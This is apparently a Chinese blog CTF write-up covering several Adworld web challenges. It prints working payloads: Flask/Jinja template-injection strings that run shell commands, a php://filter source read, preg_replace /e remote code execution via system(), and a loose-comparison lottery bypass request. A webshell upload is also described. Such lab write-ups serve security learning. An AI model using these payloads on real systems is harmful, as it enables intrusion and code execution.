攻防世界Web高手进阶区(二)

upload1

文件上传题,先上传一个图片试试看,文件名可以回显,利用时间戳进行随机命名

接下来就是上马了,试试php一句话木马,有前端的限制

改个后缀继续上传,被waf检测到了

文件名再改回来,看看是不是waf对body进行过滤,看来是后缀php被过滤掉了,不对body进行检查

不知道怎么回事,突然又上传成功了,莫名其妙,难道换个网络能禁掉waf?后来看别人的wp,居然没有遇到waf!看来这个病毒检测是我自己浏览器执行的,太tm坑了,我还在找各种后端绕过姿势😅

总结来讲就是前端白名单过滤而已,没有后端限制,那不随便绕过


Web_python_template_injection

看题目是python的模板注入,用wappalyzer分析一下,python2.7 + flask 0.15

了解了解模板注入相关知识,hackbar自带各个服务器版本的模板注入, payload为

http://111.200.241.244:59314/{{g.pop.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

看到fl4g,cat得flag ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}


easytornado

Tornado 框架,看看flag.txt里面有啥,它说在/fllllllllllllag里面

根据url是通过file页面传递filename变量进行文件查看,后面还跟一个hash值

111.200.241.244:58328/file?filename=/flag.txt&filehash=fe0c9ba81112b2249b3f3b448b3b19e6

hash值的计算方法在hints.php里面

由于md5不可逆,关键是找到cookie_secret,网上找找tornado框架的cookie_secret相关知识

官方文档关于安全cookie介绍 认证和安全 — Tornado 4.3 文档 (tornado-zh.readthedocs.io)

简而言之,cookie_secret保证完整性但不保证机密性,看看能不能用其他方式泄露cookie_secret

看看第二个页面render函数有什么作用,render意为渲染;self.render("entry.html", entry=entry) 表示用entry.html这个模板,用右边entry来实例化该模板中的entry参数,从而显示在页面上。

在进行测试的时候出现以下页面,出错页面,通过msg变量进行渲染,看看能不能利用

尝试了一下服务器直接给我跪了,调皮

查阅官方文档,cookie_secret 在Application对象settings的属性中 ,赋值handler.settings

cookie_secret值为93ee0919-c1d4-4e69-8f85-f23a4cc728c8剩下的就是计算/fllllllllllllag的hash进行拼接

本题就是了解tornado框架的cookie_secret 和template render的利用


shrine

源码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import flask 
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)

这题看了半天,有几个比较疑惑的点

通过获取FLAG环境变量存放再app.config.里

但第二个路由我看不懂shrine的参数怎么给的,没有网络请求获取,也没有从路由里面获取,我在本地环境测试了下会报错

从路由获取的话是下面这个格式@app.route('/shrine/<shrine>')

通过把 URL 的一部分标记为 <variable_name> 就可以在 URL 中添加变量。标记的 部分会作为关键字参数传递给函数。通过使用 <converter:variable_name> ,可以 选择性的加上一个转换器,为变量指定规则。

没办法咯,只能看wp😭,说是模板注入(怎么个模板注入法,自己的环境复现不了),在靶机上试下

黑名单会把config和self设为None,而我们正要获取app.config

获取flask的全局配置途径我也不太懂,直接粘贴下来,收集下来方便以后使用

current_app为全局代理变量

payload为{{url_for.__globals__['current_app'].config}}


ics-05

tips: 其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统

访问设备维护中心啥也没有,看看网络请求发现奇怪的东西http://111.200.241.244:52497/somrthing.json?page=1&limit=10

这个状态码为404,尝试对page的值进行爆破,但没什么卵用

发现http://111.200.241.244:51326/index.php?page=1 有回显,试了试sqlmap,也没什么用

看wp发现使用伪协议,但这个不是在文件包含里面用的吗?怎么发现的 看来还是对这种url形式不敏感,读取源码

http://111.200.241.244:51326/index.php?page=php://filter/read=convert.base64-encode/resource=index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
if (strpos($page, 'input') > 0) {
die();
}

if (strpos($page, 'ta:text') > 0) {
die();
}

if (strpos($page, 'text') > 0) {
die();
}

if ($page === 'index.php') {
die('Ok');
}
include($page);
die();
?>

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

echo "<br >Welcome My Admin ! <br >";

$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}

}

看到确实是文件包含,不过将input,text等过滤掉了,防止我们直接RCE拿flag

pre_replace 函数执行一个正则表达式的搜索和替换。

/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。

方法明确了,构造xff,进入函数内部执行preg_replace实现RCE, payload如下

http://111.200.241.244:51326/index.php?pat=/bluearc/e&rep=system('find -name *flag*')&sub=bluearc

find -name * flag * 该命令可以有效找到以当前目录环境下的所有flag

也可以 fine / -name * flag *

http://111.200.241.244:51326/index.php?pat=/bluearc/e&rep=system('./s3chahahaDir/flag/flag.php')&sub=bluearc

总结一下

  • 要对?page= 或者?file= 带回显的敏感一点,有可能是文件包含,然后通过伪协议获取源码

  • **pre_replace**的/e漏洞,导致RCE


lottery

注册账号买彩票,初始$20,消耗$2买一张

image-20220615100711367

用burp抓包看了看,都是通过api.php的接口完成操作,没有可利用的点,给了一下提示,但抓包看没有折扣的地方

Notice: You are offered a huge discount!

必须得看源码,扫了下目录发现有git,解题点为git源码泄露,上git_extract脚本(后来发现题目给了源码)

审计了一下源码,money的值保存在**$_SESSION**会话中,在注册的时候赋值为20

$_SESSION 对用户不可控,

session的工作原理

PHP session 变量用于存储关于用户会话(session)的信息,或者更改用户会话(session)的设置。Session 变量存储单一用户的信息

  • 存储: 可通过phpinfo查看session.save_path的值,即存储位置。
1
2
3
4
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/xxx/tmp/sess_PHPSESSID
/xxxx/tmp/sessions/sess_PHPSESSID
  • 命名: session文件名格式为sess_[phpsessid]。而phpsessid来源于客户端存储的cookie字段。服务器会通过不同的session ID使用不同的文件

即在session.save_path中该文件名为sess_e59f658b4866e547c1118b4a3f48a3c1

  • 内容: 默认用session.serialize_handler的配置,对**$_SESSION**变量进行序列化后进行存储

本题没有用到session的相关利用,一般是结合文件包含

再次进行源码审计,有以下思路

  • 修改自己的money
  • 降低flag的价格
  • 绕过中奖判断机制

第三个具有可行性,比较数字的时候是用弱类型比较

数字比较可用true绕过,构造如下payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /api.php HTTP/1.1
Host: 111.200.241.244:65291
Content-Length: 69
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.124 Safari/537.36 Edg/102.0.1245.41
Content-Type: application/json
Origin: http://111.200.241.244:65291
Referer: http://111.200.241.244:65291/buy.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=033ccd6090ed9e7b2533a4803695805f
Connection: close

{"action":"buy","numbers":[true, true, true ,true, true, true ,true]}


攻防世界Web高手进阶区(二)
https://blue-arc.github.io/2022/06/15/AdWorld-2/
作者
冰蓝弧影
发布于
2022年6月15日
许可协议